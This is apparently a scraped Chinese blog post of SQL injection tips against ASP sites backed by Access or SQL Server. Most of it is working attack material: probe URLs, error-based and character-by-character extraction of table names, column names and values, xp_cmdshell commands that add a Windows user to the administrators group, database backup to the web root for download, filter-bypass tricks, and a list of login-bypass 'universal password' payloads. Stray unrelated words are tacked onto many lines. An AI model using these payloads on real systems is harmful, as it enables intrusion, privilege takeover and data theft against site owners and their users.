SQL注入经验总结

经过链接数据库的引擎判断数据库类型:程序员

Access:Microsoft JET Database Enginesql

SQLServer:Microsoft OLE DB Provider for SQL Servershell

 

一点思路:数据库

每一个动态页面每一个参数都测一测服务器

相同动态页面相同参数不一样值时可能不一样(不知道什么状况,但确实发生了,有待验证。。)cookie

后台登录时截断查看表单,试试可否绕过网络

GET、POST没头绪时试试cookie,测试每一个cookie的参数。用sqlmap cookie注入时,试试不带相对URI(裸域名)ide

注意截包,分析包里的注入语句的变化函数

可能存在编码问题,若是页面编码为GBK,能够试试补全,加个%ce测试

判断注入点时单撇不行试试双撇

 

若是程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器一样会报错。

有些程序员只过滤了单引号,因此只用单引号测试,是测不到注入点的,能够用下列语句测试:

http://www.mytest.com/showdetail.asp?id=49 ;and 1=1
http://www.mytest.com/showdetail.asp?id=49 ;and 1=2

 

ASP通常搭配Access和SQLSever。

SQLServer有一些系统变量,若是服务器IIS提示没关闭而且SQLServer返回错误提示的话,那能够直接从出错信息获取,方法以下:

http://www.mytest.com/showdetail.asp?id=49 ;and user>0

user是SQLServer的一个内置变量,它的值时当前链接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,固然,转的过程当中确定会出错。

若是是普通用户,SQLServer的出错提示是:将nvarchar值“bt”转换数据类型为int的列时发生语法错误;若是是sa用户,提示是:将“dbo”转换成int的列发生错误。

 

在服务器IIS不容许返回错误提示时判断数据库类型:

Access和SQLServer都有本身的系统表,好比存放数据库中全部对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示”“没有权限“,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

在确承认以注入的状况下,使用下面的语句:

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0

若是数据库是SQLServer,那么第一个网址的页面与原页面http://www.mytest.com/showdetail.asp?id=49是大体相同的;而第二个网址,因为找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面彻底不一样。

若是数据库是Access,那么状况就有所不一样,第一个网址的页面与原页面彻底不一样,第二个网址则视乎数据库设置是否容许读改系统表,通常来讲是不容许的,因此与原网址也是彻底不一样。

大多数状况下,用第一个URL就能够得知系统所用的数据库类型(第一个返回跟原页差很少则是SQLServer,反之则Access),第二个URL只做为开启IIS错误提示时的验证。

 

根据注入参数类型,重构SQL语句的原貌,按参数类型主要分为下面三种:

ID=49,这类注入的参数是数字型,SQL语句原貌大体以下:

select * from 表名 where 字段=49

注入的参数为ID=49 and [查询条件],即生成语句

select * from 表名 where 字段=49 and [查询语句]

class=连续剧,这类注入的参数是字符型:

select * from 表名 where 字段='连续剧'

注入的参数为Class=连续剧’ and [查询条件] and ‘‘=’,即生成语句

select * from 表名where 字段=’连续剧’ and [查询条件] and ‘‘=’’

搜索时没顾虑参数的,如keyword=关键字:

select * from 表名 where 字段 like '%关键字%'

注入的参数为keyword=' and [查询条件] and '%25'=',即生成语句:

select * from 表名 where 字段 like '%' and [查询条件] and '%'='%'

 

手工猜表名、字段名、字段值:

接着将查询条件替换成SQL语句,猜解表名,如:

ID=49 and (select Count(*) from Admin)>=0

若是页面就与ID=49的相同,说明条件成立,即表Admin存在,反之不存在。

猜出表名再猜解字段名,如:

ID=49 and (select Count(字段名) from Admin)>=0 或 and (select count(*) from admin where len(字段名)>0)>0

猜出字段名再猜解字段值,一种最经常使用的方法—Ascii逐字解码法,虽然很慢,可是确定可行:

假设:已知Admin中存在username字段

首先,取第一条记录,测试username的长度

ID=49 ;and (select top 1 len(username) from Admin)>0 或 and (select count(*) from admin where len(username)>0)>0

若是长度大于0,则条件成立。更换最后的数直到猜出第一条记录的username字段值的长度

获得字段值的长度后,逐位猜解字段值

ID=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

第一位字符的ASCII码是否大于0,范围在1-128之间。

 

SQL注入经常使用函数:

Access:asc(字符)    SQLServer:unicode(字符)    做用:返回某字符的ASCII码

Access:chr(数字)    SQLServer:nchar(数字)    做用:与asc相反,根据ASCII码返回字符

Access:mid(字符串,N,L)    SQLServer:substring(字符串,N,L)    做用:返回字符串从N个字符起长度为L的自字符串,即N到N+L之间的字符串

Access:abc(数字)    SQLServer:abc(数字)    做用:返回数字的绝对值(在猜解汉字的时候会用到)

Access:A between B and C    SQLServer:A between B and C    做用:判断A是否界于B与C之间

 

中文处理方法:

Access:中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。

SQLServer:中文的ASCII为正数,但因为是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode()返回unicode值,再用nchar函数取得对应的中文字符。

 

利用系统表注入SQLServer数据库:

http://Site/url.asp?id=1;exec master..xp_cmdshell "net user name passwd /add"--

http://Site/url.asp?id=1;exec master..xp_cmdshell "net localgroup administrators name /add"--

这种方法只适用于用sa链接数据库的状况,不然,是没有权限调用xp_cmdshell的。

http://Site/url.asp?id=1; and db_name()>0    返回链接的数据库名

http://Site/url.asp?id=1; backup database 数据库名 to disk='c:inetpubwwwroot1.db';--

拿到数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来。在不知道绝对路径的时候,还能够备份到网络地址的方法(如202.96.xx.xx/share/1.db),但成功率不高。

http://Site/url.asp?id=1; and (select top 1 name from sysobjects where xtype='U' and status>0)>0

sysobjects是SQLServer的系统表,存储着全部的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户创建的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来,第2、三...个表名也能够经过这种方法暴出来。

http://Site/url.asp?id=1; and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0

拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)表明该表的第1个字段名,将1换成2,3,4...就能够逐个获取所猜解表里面的字段名

 

绕过程序限制继续注入:

利用相关函数,达到绕过程序限制的目的。

过滤'(单引号):

如where xtype='U',字符U对应的ASCII码是85,因此能够用where xtype=char(85)代替;若是字符是中文的,好比where name='用户',能够用where name=nchar(29992)+nchar(25143)代替。

 

经验小结:

1.过滤没区分大小写:用混大小写测试,如 seLecT

2.由网站上的登陆表单猜想字段名,通常为了方便起见,字段名都与表单的输入框取相同的名字。

3.地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号

4.用Get方法注入时,IIS会记录全部提交的字符串,对Post方法作则不记录,因此能用Post的网址尽可能不用Get。

5.猜解Access时只能用ASCII逐字解码法,SQLServer也能够用这种方法,只须要注意二者之间的区别便可,可是若是能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提升。

 

万能密码-绕过验证:

1: "or "a"="a

2: ')or('a'='a

3:or 1=1--

4:'or 1=1--

5:a'or' 1=1--

6: "or 1=1--

7:'or'a'='a

8: "or"="a'='a

9:'or''='

10:'or'='or'

11: 1 or '1'='1'=1

12: 1 or '1'='1' or 1=1

13: 'OR 1=1%00

14: "or 1=1%00

相关文章
相关标签/搜索